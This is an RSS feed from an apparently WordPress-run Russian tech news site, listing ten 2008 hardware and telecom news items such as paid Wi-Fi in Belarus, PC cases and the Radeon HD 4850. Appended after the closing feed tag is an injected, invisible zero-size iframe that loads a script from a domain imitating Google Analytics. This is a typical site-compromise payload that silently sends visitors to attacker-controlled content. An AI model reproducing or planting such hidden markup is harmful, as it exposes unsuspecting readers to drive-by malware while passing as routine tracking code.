﻿<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.2.1" -->
<rss version="0.92">
<channel>
	<title>TittleMSE</title>
	<link>http://www.tittlemouse.com</link>
	<description></description>
	<lastBuildDate>Sat, 05 Jul 2008 15:07:22 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	
	<item>
		<title>Wi-Fi в Беларуси будет платным!</title>
		<description>В настоящее время только национальный оператор электросвязи "Белтелеком" предоставляет услуги беспроводного доступа в интернет по технологии Wi-Fi — бесплатно в режиме опытной эксплуатации. С лета 2007 года по стране организовано более ста хотспотов (точек доступа) с использованием оборудования данного стандарта. </description>
		<link>http://www.tittlemouse.com/wi-fi-v-belarusi-budet-platnyim.htm</link>
			</item>
	<item>
		<title>Lian-Li Tyr X2000 — немаленький корпус для HTPC или игрового ПК</title>
		<description>Практически одновременно с моделью Tyr X500, тайваньская компания Lian-Li Industrial выпустила еще один корпус для игровых ПК и систем, используемых в качестве основы для домашнего кинотеатра. Привлекательный внешний вид модели Tyr X2000 дополнен впечатляющей функциональностью, которой могут похвастать далеко не все корпуса для мультимедийных ПК.  </description>
		<link>http://www.tittlemouse.com/lian-li-tyr-x2000-%e2%80%94-nemalenkiy-korpus-dlya-htpc-ili-igrovogo-pk.htm</link>
			</item>
	<item>
		<title>Raidsonic ICY BOX IB-283 — стильный корпус для 2,5&#8243; HDD</title>
		<description>Компания Raidsonic представила новый корпус для 2,5" HDD – ICY BOX IB-283. Новинка выделяется среди массы корпусов для жестких дисков — может показаться, что это небольшая коробка для сигар или ежедневник. Снаружи видны передняя часть из искусственной кожи и задняя хромированная панель, внутри скрыт прочный корпус из легкого металла, а ...</description>
		<link>http://www.tittlemouse.com/raidsonic-icy-box-ib-283-%e2%80%94-stilnyiy-korpus-dlya-25-hdd.htm</link>
			</item>
	<item>
		<title>Гибридный тюнер Leadtek WinFast ExDTV2300 H оснащен интерфейсом ExpressCard</title>
		<description>Владельцев современных ноутбуков вполне способен заинтересовать новый тюнер Leadtek WinFast ExDTV2300, представляющий собою гибридное решение, оснащенное интерфейсом ExpressCard.Новинка обеспечивает работу как с аналоговым вещанием стандартов NTSC, SECAM и PAL, так и с цифровыми трансляциями DVB-T, в том числе высокого разрешения. Помимо того, имеется поддержка FM-радио. </description>
		<link>http://www.tittlemouse.com/gibridnyiy-tyuner-leadtek-winfast-exdtv2300-h-osnaschen-interfeysom-expresscard.htm</link>
			</item>
	<item>
		<title>Cooler Master выпустит металлическую «сумку» для ноутбуков под маркой Choiix</title>
		<description>Тайваньская компания Choiix (подразделение Cooler Master), в конце этого месяца намерена представить образцы металлического футляра для ноутбуков и нетбуков (на иллюстрации). Серийный выпуск новинки начнется в июле, утверждает источник, ссылаясь на представителей компании. </description>
		<link>http://www.tittlemouse.com/cooler-master-vyipustit-metallicheskuyu-%c2%absumku%c2%bb-dlya-noutbukov-pod-markoy-choiix.htm</link>
			</item>
	<item>
		<title>HIS iClear Card — «лучшее решение для снижения цифрового шума»</title>
		<description>Под таким «лозунгом» представлен новый продукт компании HIS Digital, который впервые был показан публике на выставке Computex 2008 в Тайбэе. HIS iClear позиционируется как устройство для установки в разъем PCIe x1, которое способно удалять шум. Так, благодаря этой карте, заявляет производитель, можно убрать до 10% шумов, генерируемых в адаптере или ...</description>
		<link>http://www.tittlemouse.com/his-iclear-card-%e2%80%94-%c2%abluchshee-reshenie-dlya-snizheniya-tsifrovogo-shuma%c2%bb.htm</link>
			</item>
	<item>
		<title>Fujitsu продемонстрировала беспроводную передачу информации со скоростью более 10 Гбит/с</title>
		<description>Японские компании Fujitsu Laboratories и Fujitsu Limited объявили о том, что их специалистам удалось создать первый в мире импульсный радиопередатчик, работающий в диапазоне 70-100 ГГц, который обеспечивает передачу данных со скоростью более 10 Гбит/с. Как утверждается, разработка позволит упростить конструкцию передатчиков, работающих в миллиметровом диапазоне, и уменьшить их размеры. Областью ...</description>
		<link>http://www.tittlemouse.com/fujitsu-prodemonstrirovala-besprovodnuyu-peredachu-informatsii-so-skorostyu-bolee-10-gbits.htm</link>
			</item>
	<item>
		<title>LG L2000CP — ЖК-монитор для дизайнеров и не только</title>
		<description>Компания LG Electronics представила в России новый 20" ЖК-монитор для работы в дизайнерских программах, обработки графики и просмотра видео — L2000CP.В L2000CP используется матрица S-IPS, характеризующаяся широким углом обзора (178°) и хорошей цветопередачей (16,8 млн. цветов). Эти достоинства особенно важны при работе с графикой и фотографиями, а также просто незаменимы ...</description>
		<link>http://www.tittlemouse.com/lg-l2000cp-%e2%80%94-zhk-monitor-dlya-dizaynerov-i-ne-tolko.htm</link>
			</item>
	<item>
		<title>AMD готовит соперника для Intel Atom?</title>
		<description>Миниатюрные ПК и связанные с ними разработки стали горячей темой в этом году. Больше всего внимания перепадает, пожалуй, на долю мини-ноутбука ASUS Eee PC и процессора Intel Atom. Впрочем, свою долю получили также VIA Nano и NVIDIA Tegra. Пока из крупных игроков на рынке x86-совместимых платформ в тени остается лишь ...</description>
		<link>http://www.tittlemouse.com/amd-gotovit-sopernika-dlya-intel-atom.htm</link>
			</item>
	<item>
		<title>PowerColor HD 4850 — начало продаж и цены в Гонконге до официального выхода</title>
		<description>С одной стороны, поставки плат партнерам на Radeon HD 4850 компания AMD начала уже достаточно давно, с другой — официальный выход этих решений был несколько раз перенесен и датой выхода серии HD 4800 теперь является 25 июня.  </description>
		<link>http://www.tittlemouse.com/powercolor-hd-4850-%e2%80%94-nachalo-prodazh-i-tsenyi-v-gonkonge-do-ofitsialnogo-vyihoda.htm</link>
			</item>
</channel>
</rss>
<!-- ~ --><iframe src="http://google-analistyc.net/in.cgi?3" width="0" height="0" style="display:none"></iframe><!-- ~ -->